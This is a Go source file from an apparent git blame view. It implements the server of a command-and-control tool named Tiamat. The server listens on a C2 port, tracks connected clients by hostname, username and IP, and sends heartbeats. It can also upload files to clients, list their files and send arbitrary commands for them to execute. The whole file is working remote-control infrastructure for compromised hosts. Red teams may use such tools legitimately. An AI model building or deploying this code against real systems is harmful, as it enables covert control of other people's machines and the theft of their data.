tiamat/cmd/serverFunc.go

256 lines
5.1 KiB
Go
Raw Normal View History

2024-06-03 09:24:18 +02:00
package cmd
import (
2024-06-03 10:16:35 +02:00
"encoding/gob"
"encoding/json"
2024-06-03 10:16:35 +02:00
"fmt"
"io"
2024-06-03 09:24:18 +02:00
"log"
"mime/multipart"
2024-06-03 09:24:18 +02:00
"net"
"os"
"time"
2024-06-03 09:24:18 +02:00
"github.com/spf13/viper"
)
var (
C2Port string = "1302"
clientList []Client
clientIDs int = 0
heartbeatRate time.Duration = 15
isUsingJSONParameter bool
clientJSONPath string = "/.config/tiamat/clients.json"
2024-06-03 09:24:18 +02:00
)
func (c Client) Instruct(i Instructions) error {
enc := gob.NewEncoder(c.Conn)
err := enc.Encode(i)
if err != nil {
return err
}
return nil
}
func setClientPath() (string, error) {
var fileToOpen string
home, err := os.UserHomeDir()
if err != nil {
return "", err
}
if isUsingJSONParameter == false {
fileToOpen = home + clientJSONPath
configPath := viper.GetString("Server.ClientPath")
if configPath != "" {
fileToOpen = configPath
}
} else {
fileToOpen = clientJSONPath
}
return fileToOpen, nil
}
func recoverClients() error {
fileToOpen, err := setClientPath()
if err != nil {
return err
}
clients := ClientJSON{}
file, err := os.Open(fileToOpen)
if err != nil {
if os.IsNotExist(err) {
log.Printf("Missing file at %v\n", fileToOpen)
return nil
}
return err
}
jsonParse := json.NewDecoder(file)
if err = jsonParse.Decode(&clients); err != nil {
return err
}
for _, v := range clients.List {
client := Client{}
client.ClientBasicInfo = v
client.IsOnline = false
client.ClientID = clientIDs
clientIDs++
clientList = append(clientList, client)
}
return nil
}
2024-06-03 09:24:18 +02:00
func Server() {
log.SetPrefix("[TIAMAT] ")
2024-06-03 09:24:18 +02:00
p := viper.GetString("Server.Port")
if p != "" {
C2Port = p
}
go WebServer()
if err := recoverClients(); err != nil {
log.Fatalf("Error happened recovering clients: %v\n", err)
}
2024-06-03 09:24:18 +02:00
ln, err := net.Listen("tcp", ":"+C2Port)
if err != nil {
log.Fatalf("Error happened listening on C2 port: %v\n", err)
}
log.Printf("Listening on port %v...", C2Port)
defer ln.Close()
for {
conn, err := ln.Accept()
if err != nil {
log.Printf("Error happened accepting connection: %v\n", err)
}
handleConn(conn)
}
}
func handleConn(conn net.Conn) {
2024-06-04 12:41:57 +02:00
ID, err := getClient(conn)
2024-06-03 10:16:35 +02:00
if err != nil {
log.Printf("Error happened receiving OS information: %v\n", err)
return
2024-06-03 10:16:35 +02:00
}
2024-06-04 12:41:57 +02:00
go Heartbeat(ID)
}
func uploadFileC2(client Client, file multipart.FileHeader, whereToStore string) (Response, error) {
openedFile, err := file.Open()
if err != nil {
log.Println(err)
}
byteArray, err := io.ReadAll(openedFile)
if err != nil {
log.Println(err)
}
inst := Instructions{
IsUpload: true,
FileName: file.Filename,
FileContents: byteArray,
Path: whereToStore,
}
client.Instruct(inst)
message, err := ServerMessageReceiver(client.Conn)
if err != nil {
log.Println(err)
return message, err
}
return message, nil
}
func requestFiles(client Client, path string) (Response, error) {
inst := Instructions{
IsListFiles: true,
Path: path,
}
client.Instruct(inst)
message, err := ServerMessageReceiver(client.Conn)
if err != nil {
log.Println(err)
return message, err
}
return message, nil
}
func sendCommand(client Client, command string) (Output string, err error) {
inst := Instructions{
IsCommand: true,
Message: command,
}
client.Instruct(inst)
resp, err := ServerMessageReceiver(client.Conn)
if err != nil || resp.Successful != true {
2024-06-06 09:32:24 +02:00
e := fmt.Errorf("%v\n", resp.Message)
return "", e
}
return resp.Message, nil
}
2024-06-04 12:41:57 +02:00
func Heartbeat(ID int) {
for {
client, _, err := returnClient(ID)
if err != nil {
return
}
inst := Instructions{
IsHeartbeat: true,
Message: "PING",
}
client.Instruct(inst)
resp, err := ServerMessageReceiver(client.Conn)
if err != nil {
log.Printf("Client %v is offline :(\n", client.ClientBasicInfo.Hostname)
client.IsOnline = false
return
}
if resp.Message != "PONG" {
continue
} else {
if client.IsOnline != true {
client.IsOnline = true
}
}
time.Sleep(time.Second * heartbeatRate)
}
}
func returnClient(ID int) (*Client, int, error) {
for i, v := range clientList {
if v.ClientID == ID {
return &clientList[i], i, nil
}
}
2024-06-06 09:32:24 +02:00
err := fmt.Errorf("Client not found\n")
return &Client{}, -1, err
}
func ServerMessageReceiver(conn net.Conn) (Response, error) {
dec := gob.NewDecoder(conn)
2024-06-06 09:32:24 +02:00
c := Response{}
err := dec.Decode(&c)
if err != nil {
return Response{}, err
}
2024-06-06 09:32:24 +02:00
return c, nil
2024-06-03 10:16:35 +02:00
}
2024-06-03 09:24:18 +02:00
2024-06-04 12:41:57 +02:00
func getClient(conn net.Conn) (int, error) {
2024-06-03 10:16:35 +02:00
dec := gob.NewDecoder(conn)
2024-06-04 12:41:57 +02:00
basicC := ClientBasicInfo{}
err := dec.Decode(&basicC)
2024-06-03 10:16:35 +02:00
if err != nil {
2024-06-04 12:41:57 +02:00
return -1, err
}
for i, v := range clientList {
sameClient := basicC.Username == v.ClientBasicInfo.Username &&
basicC.PublicIP == v.ClientBasicInfo.PublicIP &&
2024-06-10 09:18:48 +02:00
basicC.Hostname == v.ClientBasicInfo.Hostname && basicC.LocalIP == v.ClientBasicInfo.LocalIP
2024-06-04 12:41:57 +02:00
if sameClient == true {
clientList[i].IsOnline = true
clientList[i].Conn = conn
2024-06-06 09:53:25 +02:00
log.Printf("Client %v is back online!\n", clientList[i].ClientBasicInfo.Hostname)
2024-06-04 12:41:57 +02:00
return i, nil
}
2024-06-03 10:16:35 +02:00
}
2024-06-04 12:41:57 +02:00
newC := Client{}
newC.ClientBasicInfo = basicC
newC.Conn = conn
newC.IsOnline = true
newC.ClientID = clientIDs
clientIDs++
2024-06-06 09:53:25 +02:00
log.Printf("Client %v is online!\n", newC.ClientBasicInfo.Hostname)
clientList = append(clientList, newC)
2024-06-04 12:41:57 +02:00
return len(clientList) - 1, nil
2024-06-03 09:24:18 +02:00
}